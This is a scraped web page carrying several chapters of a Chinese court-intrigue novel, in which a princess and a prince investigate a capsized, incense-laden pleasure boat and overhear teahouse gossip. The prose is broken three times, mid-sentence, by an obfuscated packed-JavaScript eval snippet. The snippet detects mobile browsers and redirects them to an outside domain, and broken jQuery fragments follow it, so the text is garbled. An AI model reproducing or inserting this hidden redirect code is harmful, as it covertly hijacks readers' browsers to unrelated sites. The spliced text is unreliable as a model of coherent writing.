;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049365|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下去,沿着官道直奔昽原。 她刚到昽原上,就听到身后传来一阵马蹄声。 回头望去,官道上走来一行人,是从京城方向来的。 万姝丹心中纳罕,会有谁选择在这个时间出城?她心思微动,没有沿着路往昽原深处走,而是潜入昽原东边茂密的树丛里,悄无声息地追去一段距离。 这行人宿在了原下的馆驿中。 万姝丹拨开树叶,大致数了数,一共十人有余,全部乔装打扮过。她仔细观察了一下,似乎只有一人瞧着像个书生样,半点武功也无,其他人多多少少都有功夫在身。还有一人看着略有点眼熟,可她一时间没能想起在哪儿见过。 身侧落下一人。 万姝丹冲着木霆风指指那群人。 木霆风眯着眼打量几下,小声说:“十多个人,只有一人不会武。这人,有点面熟,好像是御史台台院知东推的侍御史,叫张行与。” “你认识的人还挺多。” 木霆风忽然推推她的肩膀,伸手一指,“你看这人,下盘极稳,动作间似有威严,看起来,像个武官?” 这句话打开了万姝丹的记忆,“你点醒了我,这人确是将军,叫葛洪。” 木霆风语带惊讶,“你说的,可是左领卫大将军葛洪?” “如果没有一样音的名字的话,就是他。” 木霆风摸摸下巴,“奇了,一个左领卫、一个御史台,这大半夜的,是要去哪儿?” 想起下午姚崇峻的话,万姝丹隐入树林深处,“不论如何,这二人只有皇帝可以调动。” 夜更深了。 万姝丹回到王府附近,发现熹微院方向仍有一条黑暗的区域。她快速跃了过去,翻进墙内。 穆离守在廊下,见万姝丹回来了,行礼道:“王妃。” 万姝丹边走边问:“殿下回来了?” 穆离正要去重新点燃灯盏,闻言略一停顿,“早就回来了。” 推开屋门,就见宁熙坐在靠窗的贵妃榻上,披散着长发,与黑色长衫融在一起,显得他露在外的皮肤更似初雪。 万姝丹进来时,他正闭着眼,长睫垂下,唇色泛粉。 妥妥一幅美人静坐图。 听见响动,宁熙缓慢睁开双眼,他早已困乏,眸带水润,看向那个深夜还不回府的人。 就见万姝丹靠在桌旁,一手撑在桌子上,长长的马尾顺势垂落,发尖堆在桌面上。 “你怎么在这里?” 宁熙语调也很缓慢,“怕抓不到你,就来守株待兔了。” 万姝丹长眉轻挑,屋内灯盏并未全部点亮,因而略微晦暗。她的眉眼在昏黄的灯光下,越发惊人,唇红欲滴,眼中倒映着烛光。 “时辰晚了,我不多废话。今晚运囚,算上我,一共四人藏匿在大街两侧。其中一人,正是大婚当晚的梁上人,他叫木霆风。此人我会妥善处理,无需殿下操心。” “另有一事,是我在昽原东侧馆驿之中,发现了御史台台院知东推侍御史张行与、左领卫大将军葛洪的身影。他们深夜出城,宿在馆驿,不知去向。” 宁熙还是那个语调,“没想到王妃出府,竟有如此收获,连京城都出了一趟。看来我执金吾的防卫还是太松懈了。你是怎么出城的?” 万姝丹满不在乎,“我跳下去的。” 宁熙眉头一跳,连带着声音都清醒了一些,“你跳下去的?” 他深吸一口气,缓了缓,“王妃所说我都记下了,我知王妃轻功出众。然,还望王妃小心行事,若是受了伤,我岂不是独木难支?另外,那个木霆风,又是何等身份,能不惊动执金吾的守卫?” 万姝丹吐出四个字,“觅雪无踪。” 宁熙低眉深思。 万姝丹却不愿等了,她悠悠开口,“这么晚了,殿下还未提出要回岁安院,是想宿在这里吗?” 23.画舫 三月三这日,是郑琬约她去辰云楼的日子。 万姝丹挑了一条天水碧银条纱裙,罩一件玉色对襟罗衫,外搭一条郁金帔帛。她自己挽了一个简单的发髻,在妆奁里拨拉几下,选了一支蔓草蝴蝶纹金钗。她看了看镜中的自己,拿胭脂点了笑靥,轻轻扫了扫两侧颧骨。 收拾好以后,万姝丹带着颜宥津出门了。二人没坐马车,她想借此机会熟悉一下京城的路线。 往主街走的时候,能明显感觉到人变多了。红男绿女,云鬓盛妆。万姝丹一眼望去,各种艳丽的颜色撞入她的眼睛。除了身着广袖长裙的女郎,还有不少身穿圆领袍衫、腰系蹀躞带、下身卡夫口条纹裤的女郎,这些胡服男装的女郎大多骑马,长裙的多坐檐子。 一时间街上人来人往,应接不暇。人们成群结队,从东、南面城门出城。 万姝丹好奇地问:“南郊可有什么游玩的地方?” 颜宥津看向朱雀门的方向,“南郊外有一片芦山的余脉,离得不近,骑马尚需大半日。” “那他们现在出城不是晚了?” “芦山离得远,不过京城西南边有一片小高地,叫昽原,西南高东北低,那里是踏青的好去处。上面还有一个小园子,是杜家修建的。”颜宥津比划了一下,“京河也在南郊,京河自南而北穿过京城西侧,注入洛河,最终汇入北郊外瀛河。您今天去的弦湖就在京河上。” “三月三不是有祓禊?也在京河上吗?” 颜宥津摇头,“京河所经过的城西是世家、仕宦居住的地方,要保证上游水源的干净,因此那边不允许下河。人们都去东郊外的那条河——定河,定河经过的城东是百姓、吏的居所。”他伸手遥遥一指,“那边就是春含门,出了春含门就是定河。” 二人一路走走停停,颜宥津详细介绍每一条街巷的走向,“从这里走到前面向左转,直通辰云楼后门,辰云楼东南侧就是弦湖。”他继续说,“弦湖最初是一个天然坑地,后来开凿成湖泊,足足占地一千多亩,又开了两条水渠,一条在湖上游,叫明南渠,一条在湖下游,叫北济渠。由于水位高低变化,这两条渠上各有两个闸门,每日有固定的时辰开闸,放一些船只进出弦湖。王妃,咱们到了。” 随着右侧建筑的消失,映入眼帘的是湖边大量的绿植,沿湖是合抱粗的柳树,一直延伸到看不清的对岸。万姝丹沿着北岸走,两岸楼台起伏,绿树环绕,中央湖面宽阔、水色明媚,湖中船舫交织。 颜宥津抬手一指,“最高的那座就是辰云楼。” 万姝丹走到的时候,郑琬的侍女已等候在门口了。她上前行礼,引着万姝丹上了三楼,颜宥津等在外间。 侍女们见万姝丹来了,拨开帘子,郑琬的声音就响起了,“等你好久了,你怎么才到?” “让三嫂嫂久等了,我今日第一次见京城人们出游盛况,一时新奇,耽搁了时间,还望嫂嫂不要怪我。” 万姝丹进了内间,就见郑琬一身石榴色细裥罗裙,鹅黄色帔帛,头上簪一朵丹色山茶花,髻上插着四蝶金步摇,侧旁几朵珍珠鎏金翠花钿。 “快坐吧,这是我昨日就订好的隔间,正好能看见整个弦湖呢。我想着你初来京城,总要带你熟悉熟悉。”郑琬的伸手拉住万姝丹的手,将她带到自己身侧。 “那就先谢谢三嫂嫂了。”她说着往窗外一看,“这里确实视野很好。” 万姝丹收回视线,看了一眼对面坐着的女郎,这女郎身穿枣红圆领缺骻锦袍,花纹暗绣细密,腰间束蹀躞带,衣袍缺骻处露出丹红色的卡夫口条纹裤,头上梳着灵蛇髻,只插了一支并蒂珍珠花金钗。 郑琬轻轻拍了一下万姝丹的手,“哎呀,我都忘了给你介绍了,这是六弟的王妃,顾家三娘顾别清。” 顾别清笑着行礼,“五嫂嫂。” 万姝丹回礼,抬眼时一扫席间,“怎么不见四嫂嫂?” “她呀,要赴宫里的宴会,因此不跟咱们出来了。”郑琬拿起小几上的一碟糕点,“尝尝这个,这是山楂蜜糕奶卷。咱们这京城就是好,南边的茶叶,北边的奶酪都可以尝到。怎么样?好吃吗?” 万姝丹用小匙分开一小块,送入口中,奶香和山楂蜜糕的酸甜味一齐在口中迸发,她连连点头,“好吃。” 郑琬用帕巾擦着手指,“你在褚城时没有吃过奶卷吗?” 万姝丹低头笑笑,“山楂蜜糕馅儿的吃得比较少,母亲喜欢吃芝麻白糖的,所以家里做芝麻白糖馅儿的比较多。说起奶卷,我其实更喜欢一种在冬天时吃的甜奶霜,这是以糖水和奶油调制冷冻成型的小吃,色泽洁白,有梅花、方胜各种样式的印模。这种甜奶霜入口即溶,化为甜的奶水,轻轻咬一下有如嚼雪。”① 顾别清听着来了兴趣,“京城好像没有这种小吃呢?” 万姝丹想了想说:“也许是冬天温度不够。”她又拿起一块翻毛藤萝饼,“刚才听三嫂嫂说今日宫中有宴会?” 郑琬吃了一块榆钱糕,“每年的惯例了,次次都差不多,也没什么意思,与其在宫里过,不如出来透透风。你呀,才来京城没多久,合应出来走走,去那宫里的宴会做什么,以后有的是机会进宫去,等你去的次数多了,说不定和我一样厌烦了。” “弦湖这边风景很不错,那下边有开凿的曲水湾,水湾宽度荷叶大小,是专门供曲水流觞之用,你若是喜欢看他们吟诗作对,一会儿可以去那边看看。” 万姝丹的目光被弦湖上一艘画舫吸引了,这画舫窗雕上饰有金箔,远远看去金灿灿一片,“那是谁家的画舫?这么好看。” 顾别清顺着看去,“那样子的,也只有杜家了吧?” 郑琬笑着说:“我知道,这是杜家杜三郎托人制造的画舫,听说是他自己画的图纸呢。这杜家不愧是京中数一数二的豪富,画舫上都饰以这么多金箔。” 顾别清说:“谁让人家有赚钱渠道呢,这京中有一款香料,一直是杜家售卖的。只有颍州那边盛产这种树,开始先是颍州本地的一位商人发现了这种树,制成香料,在颍州很受欢迎。后来被颍州杜氏拿下了这种香料,做起了外售,最近三四年刚在京中流行起来。” 郑琬用汤匙搅着奶酪,“昽原上有座九里园,就是杜家出钱造的,你还没去过吧?等寒食清明时咱们一起去,杜家钱多,那园子修建得很有水平,保准你会喜欢的。” 万姝丹抿唇微笑,“那我就等嫂嫂消息了。” 这时下面人群突然骚动起来,万姝丹注意到了,“啊!那画舫怎么翻了?” 只见弦湖上杜三郎的那艘画舫缓慢侧翻,上面的人如同下饺子一般跳进湖里,然而画舫离岸边不算近,画舫彻底翻时,激起一层波浪,卷进几个落水之人。附近的执金吾反应迅速,立刻驾轻舟,划向翻船的地方。附近的游船也慢慢靠了过去,要救落水的人。 郑琬评说:“执金吾这次反应很快啊。” 顾别清看着下面忙碌的执金吾,“毕竟今天是三月三,安排妥善一些也是肯定的。再说了,不久之前刚发生金川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郑琬整个人都要昏过去了,她摆摆手,对万姝丹说:“好不容易同你出来一趟,没想到这么扫兴,你可还有别的地方想去?” 万姝丹有些犹豫,“我想……去看看五郎。” 郑琬恨不能立刻离开这里,没再多说什么,“好好好,你仔细着点,我先走了。” 顾别清看了一眼弦湖方向,也跟着离去了。 万姝丹强迫自己适应这个气味,她忍着,走了过去。 宁熙转头看到万姝丹,眼中闪过一丝讶然,他对旁边的人说:“你先去问问。”然后看向万姝丹,“你怎么在这?” 万姝丹观察着湖中的情况,简单说了方才的事情。 “哦?这是杜家的画舫?”宁熙的拇指摩挲着食指的第二骨节,“好像,救上来的人里并没有杜三郎啊。” 万姝丹小声道:“郑琬说杜晏进宫去了。” 宁熙颔首,他问刚才那名执金吾,“贺兰从,怎么样?今日画舫宴的主人是谁?” 贺兰从抹了一把脸上的水,“回将军,是柳传柳学士。负责宴会的婢女已经救上来了,正在清点人数。” 又一名执金吾来报,“将军,人数清点完毕,还差五人。” 宁熙紧锁眉头,湖面上已经没了动静,他一声令下,“找几个水性好的,进画舫去搜!” 轻舟再次出动,几个人下水开始找人。 万姝丹念着这个名字,“柳传,柳学士?” 宁熙面色严峻,“翰林学士,这可是皇上面前的新晋红人。今日宫里的宴会,这位柳学士怎么没有进宫?反而在杜家的画舫上?” 说话间,湖中响起水声,岸边着手接应。 贺兰从跑过来,“将军,都救上来了!” 宁熙上前,看到那五人中有三个昏迷不醒的,“先送去医馆吧。” 24.罅隙 宁熙接着对贺兰从说:“去通知一下京兆府,杜家画舫翻船这事,可大可小。” 万姝丹缓缓说:“弦湖风平浪静,其他船只都没事,这画舫这么大,轻易怎么会翻?” 宁熙十分平静,“谁知道呢,王妃也不知吗?” 万姝丹眨眨眼,冲宁熙微笑,“我还真不知道。另外,我还不知道这是什么香气。不知殿下是否知道?” 这香味持续时间挺长,弦湖东北岸的人群已经在执金吾的引导下,全部疏散了,连湖对岸的人也开始离去。执金吾架起屏障,阻止慕名而来的人群进入场地。 宁熙开怀一笑,“诶,你问对人了。这我还真知道。” “你刚才也说杜家在京城贩卖香料,杜含的侄子杜晃主管金荆榴木香在京城的贩卖。这种香料刚兴起时,金粉楼就在用了。” “通常情况下,香料应该是直接焚或者隔火熏香。但这种香料很奇特,金粉楼尝试取香粉撒入水中,立时就会传出一股幽香,味道能持续很久。且这种方法与隔火熏香得到的气味不同。我得了方法后,回府一试,果然如此。当我将香粉的比重加大时,气味也会变得浓重。” 万姝丹抓到了一个熟悉的名字,“杜含?尚书省右仆射?朝廷重员的家人也可以从商吗?” 宁熙反问:“为什么不可以?商人地位低,按理说不是这些世家追逐的目标,可谁又会和钱过不去?而且杜晃确有经商之才。最重要的是,杜含的小女儿嫁给了贾独的第三子。” 万姝丹“啊”了一声,“尚书省左仆射?我记得四皇子的王妃贾琦,就是这位贾独的女儿吧?难怪他们可以在京城这般大肆做香料生意。” “咳……咳咳,这也太香了!” 宁熙转过身,“姚府尹,又见面了。” 姚崇峻见宁熙一身官服,“将军……咳,这是什么香味?” “姚府尹竟不知?” 姚崇峻用袖子掩着口鼻,“将军有所不知,下官不喜熏香。” 宁熙了然,“这就是金荆榴木。” 姚崇峻显然也知道这个有名的香料,“竟然是金荆榴木?下官也曾闻过,怎么好像与这个不太一样?也没有这么浓烈的香气。” 宁熙的舌头抵了一下上颚,露出一个微笑,“谁知道呢?也许是画舫上的金荆榴木比较多?” 姚崇峻往湖里看去,“将军可知这是谁家的画舫了?” 宁熙说:“杜家。不过今日画舫宴的主人是柳传,这画舫是杜晏借给柳传的。柳传宴请了一批翰林学士和进京赴试的举子,还有一些寒门出身的官员。” 姚崇峻听着听着就皱起了眉,“柳传?” “姚府尹与柳学士很相熟吗?” “并非相熟,只是……”姚崇峻略微犹豫一下,“自从年初开始,翰林学士逐渐冒头,得到皇上的喜爱,今日宫里的宴会也有他们。” 宁熙观察着姚崇峻的脸色,并未发现什么异常,他猜测着说:“看来,翰林学士让姚府尹多费心了?” 这话不假。有了皇帝的青睐,就有了支撑。虽说翰林学士才刚刚冒头,可不妨碍他们偶尔惹个事、闯个祸。京兆府看在皇帝的面子上,只要不是什么大事,也就睁一只眼闭一只眼了。 姚崇峻只是笑笑。 宁熙见他不愿多说,便没有再问。 “既然这样,下官派人去杜府问问,这画舫……” 姚崇峻的话还没有说完,贺兰从就过来了,“将军,翻船的原因找到了。” “如何?” 贺兰从说:“船底一侧的木板似乎是撞上了石头,裂出一条罅隙,水灌进去后导致一侧过重,因此翻了。” “石头?” 姚崇峻说:“这弦湖中哪里来的石头能撞破船板?” 说话间,画舫被牵引至岸边。 贺兰从指向上面,“位置有些高,这里只能看个大概。” 姚崇峻左右看了看,“将军,这个缝隙可不像是石头能撞破的。” 宁熙摸摸下巴,眼中染上一抹笑意,“这就要问问今日宴会的主人了。” 二人去了医馆,万姝丹没有理由跟着一起去,就留了下来。她选了一间距离较近的奶茶棚,要了一份奶酪,眼睛盯着周围的情况。 到了医馆,柳传已经清醒过来。见到宁熙和姚崇峻进来,柳传起身行礼,“将军,府尹。” 宁熙将他上下看了看,“柳学士伤势如何?” “已无大碍了,多谢将军关心。” 姚崇峻单刀直入,“既然这样,我有一事想问问柳学士,不知学士同杜三郎关系如何?” 柳传说:“杜三郎好结交文士,某的诗赋入了他的眼,成了朋友。此次宴会的画舫也是同他借的,只是三郎要随杜仆射入宫参加宫里的宴会,就没有来。” 宁熙问:“今日宫里有宴会,柳学士怎么没去参加。” 柳传笑了笑,“不瞒将军,平日宫里大小宴会不断。此次想着来看一看弦湖上的风景,顺便邀请几位好友,共赏春日风光,结果谁能想到就发生了这样的事情。” 姚崇峻掂量着说:“学士事先可有发觉什么异常的地方?” 柳传苦笑着摇摇头,“这画舫之前我也坐过,此次也就照旧了。后来我们一船的人醉了个七七八八,哪里能记得什么事情?不如问问船上的婢女,看看可有什么发现?” 姚崇峻又问:“那学士可知这船平日都放在哪里?” 柳传想了想,“好像听杜三郎说过,一般都是在京河上,有个码头,偶尔也会停在弦湖中,有专人看守的。” 宁熙问:“学士可喜欢熏香?” 柳传说:“我常年都不熏香,说起来,他们还拿这件事取笑过我,认为我不懂文人雅性,其实我只是闻不习惯那种味道。” “没想到在京中几年,也没能让柳学士染上熏香的喜好。” 柳传不慌不忙,“两位很喜欢熏香?” 姚崇峻试探道:“学士有所不知,船上有不少的金荆榴木,我原以为是学士的,如今看来……” “金荆榴木?”柳传笑了一下,“那种名贵香料,一钱香粉就要二两白银。即使我喜爱熏香,也不是我能承担得起的。杜家售卖这种香料,画舫上会常年备着这些东西。杜三郎一向慷慨大方,也是让我占了便宜。” 宁熙忽而一笑,“柳学士不懂香料,即便画舫上有许多金荆榴木,何来占便宜一说?” 柳传“啊”了一声,“是这样。虽说我不懂,可今日赴宴的人里,喜爱熏香的人不少。他们对金荆榴木简直爱不释手,反复研究半晌,好像是选什么隔片,火候大小,隔片离炭火远近之类的。我当时好奇心使然,多听了一耳朵,没听明白就是了。等他们研究够了,把香炉点好,我也就有幸闻到了这种名贵香料。” 姚崇峻问:“参与此次宴会的人,学士可否列个名单与我?” 柳传没有犹豫,“这事好说,待我回家后细细整理出一份,送交京兆府。” 姚崇峻见在柳传这里问不出什么,与宁熙交换一下眼神,跟柳传又客套两句,二人便出了医馆。 弦湖边,万姝丹看着那群人忙碌地将打捞起的东西摆放好,这些都是漂浮在水面上的,是无论如何也要清理干净的。画舫停靠在岸边,气味还是如旧,万姝丹觉得自己快要腌入味了。 “怎么样?有什么发现吗?” 颜宥津摇头,“没发现什么可疑人物。” 万姝丹吃着碗里的奶酪,感觉连奶酪都浸上了金荆榴木的味道,总有一股说不上来的、介于难吃与好吃之间的味道。她又坐了一会儿,决定还是不吃了。 正巧宁熙回来了,他翻身下马,“久等了,我去那边看一眼。” 宁熙快步走向贺兰从,贺兰从见他回来了,直接禀报:“将军,湖面上已经清理干净。” “嗯,你们做得很好。” 姚崇峻也下了轿,宁熙对他说:“姚府尹,东西都在这里了,我留下三队执金吾在这里给府尹打下手,要是还有什么需要,再着人找我。” 万姝丹见他向自己走来,“结束了?” 宁熙说:“快午时了,我带你去吃饭吧,会骑马吗?” 万姝丹点点头,宁熙牵过马,让万姝丹坐了上去。他牵着马,颜宥津跟在后面,万姝丹俯下身,问他:“去哪里吃?” “京里有一家不错的店铺,店家是宛州人,你会喜欢的。只是那家店在城东,稍微有点远,你坐好了。” 走着走着,他们路过了刚才的医馆,宁熙往里面瞥了一眼,柳传已经不在了。万姝丹又俯下身,“这件事不归你们管了吗?” “别乱动。”宁熙伸手扶了扶她的身子,“这种事情本不归入执金吾的范围,只是不知道杜家会不会要求查个水落石出了。” 那家店生意不算红火,万姝丹还在想着宁熙那句话,她刚要踏进店门,店小二就走上来,“这位娘子身上擦了什么香?竟如 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万姝丹拿眼角往刚才说话那人的方向瞟,“如果只是画舫翻船,或许还不足以引起人们长久的闲谈,但加上这香味,二者一起传播,你不觉得让这件事流传得更广了吗?” 宁熙手指点了点桌子,“有可能。” 万姝丹说:“既然这样,翻船和香料就可以归为同一件事,都指向了杜家。” 宁熙眉头微皱,“不,我总觉得应该不只是为了一个杜家这么简单。” “为什么这么说?” “翰林学士虽然并非都是寒门,但与掌握中枢的杜家,是有明显差别的。他们都是待召宫中,等着皇帝传唤。设置这么个东西,就是为了给一些省试得中、还未授官的学子一个位置。离皇帝这样近,只是表明一下爱才之心,至于何时授官、授几品官,那都未可知。翰林学士自从武帝设立之后,也是目前才由于宴会所需,得到了武帝的垂青,宫里不论大小宴会都会让他们一同参加,随侍在侧。” “再说那些进京赴试的举子,谁又都能保证自己高中得官呢?” 万姝丹觉出来一些不对,“既然这样,他们该拜访的也是那些高官门第,来参加这样一个画舫宴,有什么必要?这不是表明自己的立场了吗?” “不会,不要说一次小小的画舫宴会,就是那杜三郎杜晏与柳传交好,能表明他俩是同一立场的吗?柳传可是出身寒门,与杜晏分明不是同一个阶层的人。” “那……” 宁熙用手指沾水在桌面上写下二字,“这就要说到科举取士了。我朝设立科举二十多年,有秀才、进士、明经、明法、明算五科,这一创举当时得到世家的极力反对,因为这相当于打破了世家垄断朝堂的局面,为寒门子弟入朝为官开辟一条相对宽泛的道路。然而事实上,能参加省试的寒门少之又少,多数仍为世家子弟。论原因的话,一个是财力,一个是重视程度,当然还有一点就是世家的排斥。不过,局面仍然是被打开了。” “这次画舫宴里,不就有一些寒门出身的官吗?他们都是凭借自己的才能,一步一步走到现在这个位置,可若是想再进一步,就难如登天了。如今的政事堂里,可没有一个是出身寒门的宰相。不过,在政事堂里办公的一些官员倒是有非世家子,比如中书舍人叶钦。这个位置可是掌握几乎中书内省的所有秘密,皇上当初是力排众议授予叶钦的官职。事实证明,他做得也很不错,不该管的不管,只为皇上办差,这也就导致他无法参与进一些宰相会议里。虽然有违规制,可他们不信任叶钦,自然不能让他知道一些事情。” “宰相有提名三品以下、五品以上的官员和郎官的职权。所以寒门想要挤进五品以上,须得付出更多的努力,当然运气也十分重要,好比被皇帝看中,如同叶钦,还有御史大夫王兴业。这样的人可谓少之又少,所以朝堂,仍然是世家的天下。他们在其中角逐、周旋,此消彼长。只是,他们没想到的是,这个局面现在进一步被扩大了。” “你是说,翰林学士的机遇吗?” 宁熙点点头,“不错,得到皇帝的喜爱,就已经算是成功了一半。” 万姝丹疑惑,“这样一群皇帝面前的新进红人,在杜晏的画舫上落了水,仅仅只为了凸显出一个杜家,难道能是私人恩怨?若是不止是一个杜家,一次小小的翻船,还能撼动这些世家不成?” 宁熙显然在思索着什么,末了他叹口气,“冰冻三尺,非一日之寒。” 25.流言 用过午饭后,宁熙回了执金吾的府院,万姝丹带着颜宥津去了秋济坊。那边的茶酒馆外搭上了棚子,里面已经座无虚席,弹奏曲子的声音袅袅传来,坐在外面的人们小声聊着天。万姝丹进了二楼茶室,挑了个角落,点了一壶雪芽。 “郎君这一身香,是从弦湖那边过来的吧?” 有不清楚情况的问:“弦湖那边怎么了?” “你还不知道呢?弦湖那边翻船了!” “翻的是谁家船?” “你看不出来那是谁家的?” “郎君懂?说说呗。” 这人喝了口茶,“其实也不是什么秘密,那画舫如此奢华,肯定是杜家的。” 有人不屑,“京中豪富多了,怎么就能肯定是杜家的?” “这你就不知道了。”另一人说,“这画舫肯定是杜家的,因为我上去过一次。” “你?你是怎么上去的?” “画舫造好后,杜三郎开过画舫宴,拙荆的哥哥被邀请,我也有幸去参观一次,那次宴会上听杜三郎说,这艘画舫是他亲自设计的。” “那这画舫一定深得杜三郎喜爱,怎么就翻了?” 衣袍染香的人说:“我刚从那边过来,这画舫虽然是杜三郎的,可他本人并不在上面。” 另一人说:“听说这画舫是杜三郎借给了翰林学士柳传,柳传在画舫上宴请了一批士子,那杜三郎随父进宫参加宫里的宴会了,谁知这画舫就在弦湖上翻了。” “那你身上这香怎么来的?” “你也不想想,杜家是干什么的,那画舫上有大量的金荆榴木,这种香料若是隔火熏香会散发很清幽的气味,可没人能知道这香料遇水会产生奇香。” “快别提了,我刚才离得有些近,再香的东西,太过浓郁就不是那么回事了。” “还没说这船是怎么翻的呢。” “执金吾的人很快就封锁了,我也是远远看去,好像是船底有个破洞。” 有一人附和,“确实,船底破了个洞。我刚才就在辰云楼上,看得一清二楚,但是那味道实在太大了,好多人都被迫离开了。” 有几人起身,相约着要往弦湖那边去凑热闹。 “你们现在去,最多还就能闻个味,弦湖周边已经戒严了,进不去的。” “今日三月三,他们还要戒严弦湖?” “嗨,你也不想想,那弦湖里又没有大石头,水流平缓,怎么会撞破这么大一个洞?” “你是说,这件事是有人故意这么做的?” “是不是故意的,那就要看京兆府怎么查了。” “这事能怎么查?总不能真是杜家干的?为了什么?” “怎么不可能?现在翰林学士可是皇帝面前的红人!” “再如何得皇帝喜爱,那能比得过尚书省仆射权力大?” 有嗅觉敏感的,已经觉出了不同寻常之处,“事情真相如何,都不是你我所辖范畴,倒不如想想几日后的省试,该为自己找好道路了。”说完这人拂袖就走了。 “那人是谁啊?” “这人说什么呢?” 有人认出了他,“这不是司州的江尽言?” “江尽言?乡试第一的那个啊。” “司州江氏,原来是北部南迁的一支,落在了司州,因为靠近分江,所以改成了江姓。江氏子弟大多从军,他们骁勇善战,没想到这一代竟是出了个文试的第一。” 这时又有几人进来,他们带着一身的香气。 “你们从弦湖来?” “可不是嘛。” “那边怎么样了?” “嗨,不知怎么回事,京兆府和执金吾的人撤走了,换成杜府的人在看守画舫,听说是正在召集人手要将画舫拖回码头去修理呢。” “这画舫倾翻一事不查了?” “那我怎么知道?查不查都是杜家说了算,他们不追查了,那就是觉得没什么呗。” “今日卢将军被皇上召进了宫里,留在外面的是五殿下吧?” “哦?我知道,前几天金川楼大火,咱们这位五殿下得授执金吾左将军。” “哎,这事我也知道,我当时正好就在那条街上。先是有小贼偷了长公主的东西,被五殿下拦住。然后长公主带着他们去金川楼用饭,就是这个时候后间起的火。说起来,还是五殿下当机立断稳住了局面。” “歪打正着罢了,谁不知道他宁五这么多年风流成性,王府里看起来安安静静,他可是成日往桥行街那边去,金粉楼、银妆楼都在那边!” “哈哈哈,这个我可不陌生。我还在金粉楼碰见过宁五呢!” “要我说啊,还得是皇亲国戚,咱们奋斗一辈子都不见得能有个从三品的官儿。” “听说七年前……” “哎哎,那事儿可不能在这里说,这里可是京城!” “也是造化弄人。” “怎么就不能是他本来就贪好红尘软帐,这样的人当了执金吾左将军,能有什么作为?我看以后这京城的治安啊,要悬!” “也不能这么说,执金吾本身运作体系在,他就是白吃饭都没事。若是哪日真出了什么事情,他这白得到的官儿也就做到头了。” “依我看未必会如此,这是皇上下的命令,授予他的官职。且他大婚不久,本就该当职了,众皇子中他已经是最后一个了。于制度而言,他本该入朝为官,这如何轻言撤免?” “哼。一次两次或许没什么,若是犯错犯得多了,让御史不断弹劾,就算是皇上也不得不罢免了他。” “你是真不知道五殿下以前的风姿?” “七年前宁五真有那么厉害?” “那可不是!七年前宁五风头那样盛,少年好侠义,明正是非。可惜了!” “他一个宁五,喝酒都快喝废了,有这点运气就不错了。” “你小点声!那好歹是五殿下!” “怕什么?这京城里,他五殿下能招惹谁啊?” “呵,就算他再不行,那也是殿下,想解决一个你还是轻松的。” “也不见得,实在不行告去大理寺,咱们这位大理卿可是断案严谨。” “断案严谨,能随意处决一位皇子?” “那就全看皇上的意思了。” 一人往嘴里塞了几颗豆子,咬得嘎嘣脆,“我看啊,咱们这位皇上……” “京城里揣测圣意,你嫌命太长?” “那咱们继续说回宁五。” “还有什么好说的。”这人喝了口茶,“给我这命,我也吃喝玩乐去。” “哈哈哈哈,那可不行,你还得跟咱们一起去春闱呢,可不许当皇子去。” “你要是一朝飞黄腾达,可得记得咱们这些同窗啊。” “你们有这许多话,不如回去多看两页书,后天初五寒食节,晚上可没有灯火了。” 一人调笑说:“我当是谁?这不是孙青安嘛,你有何高见啊?” 孙青安说:“金川楼和弦湖两件事上,五殿下都处理得没什么可指摘的地方,至于被你们挖苦这许久?” “金川楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065564|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是烧了。” “那晚当值的是执金吾,与殿下何干?再者金川楼这案子应该是归京兆府管的,要算也应该算在京兆府府尹头上。” “姚府尹可是个好官!” “殿下就不是好人了吗?”孙青安继续说:“左右领卫、左右武卫、左右威卫、左右魁宿卫、左右监门卫,只有执金吾不分,执金吾下设两位将军,大将军一职空悬,这是为了防止某位将军独占执金吾。执金吾任务重、责任大,今日三月三他们还在当值,殿下也没有点个卯就走……” “他若是点个卯就走,真就吃着皇粮不办差了?” “吃着皇粮不办差的多了去了。” “你这人真是要与我争辩到底?” 孙青安不紧不慢,“是郎君抓错了重点。执金吾办差辛苦,殿下当值还要被各位针对。依我看,在这种节日里,应当分为上午下午,轮换当值,好让他们也享受一下节日。” “孙兄这么有看法,考中个进士,去兵部当官儿呗。让咱看看你有没有这个能力管好。” “你这么为宁五说话,他是你什么人不成?” 孙青安说:“学生一介布衣,能与皇子有什么关系?” “那你为他说话干嘛?” 孙青安沉默不语。 “你们这就不知道了吧,孙兄仰慕七年前的宁五。” 万姝丹看着孙青安离开了,她又坐了一会儿,发现他们开始谈论起春闱的事项,便也起身离开了。 待到宁熙回府,万姝丹同他说了秋济坊的事情。 宁熙闻言说:“秋济坊?” “嗯,我们在京城的暗桩之一。不过,我不能随便启用,身份在这里,总去这些地方不合适。偶尔一两次倒是没什么,毕竟我能获得消息的途径也只有这些暗桩了。” 宁熙想起一事,“你之前让颜宥津去金川楼就没问题吗?” 万姝丹挑眉,“那金川楼不是烧了?现在我想要联系二哥,总归不是那么容易。二哥私下有什么行动,我也不会第一时间得知。” 宁熙挑了挑灯花,“对了,景煜那晚从朱雀大街上回收了两枚暗器,你看看有没有你眼熟的?” 万姝丹接过景煜递来的盒子,打开一看,“没有。” 宁熙靠坐在榻上,“你觉得沈济之会不会派人混淆视听?” 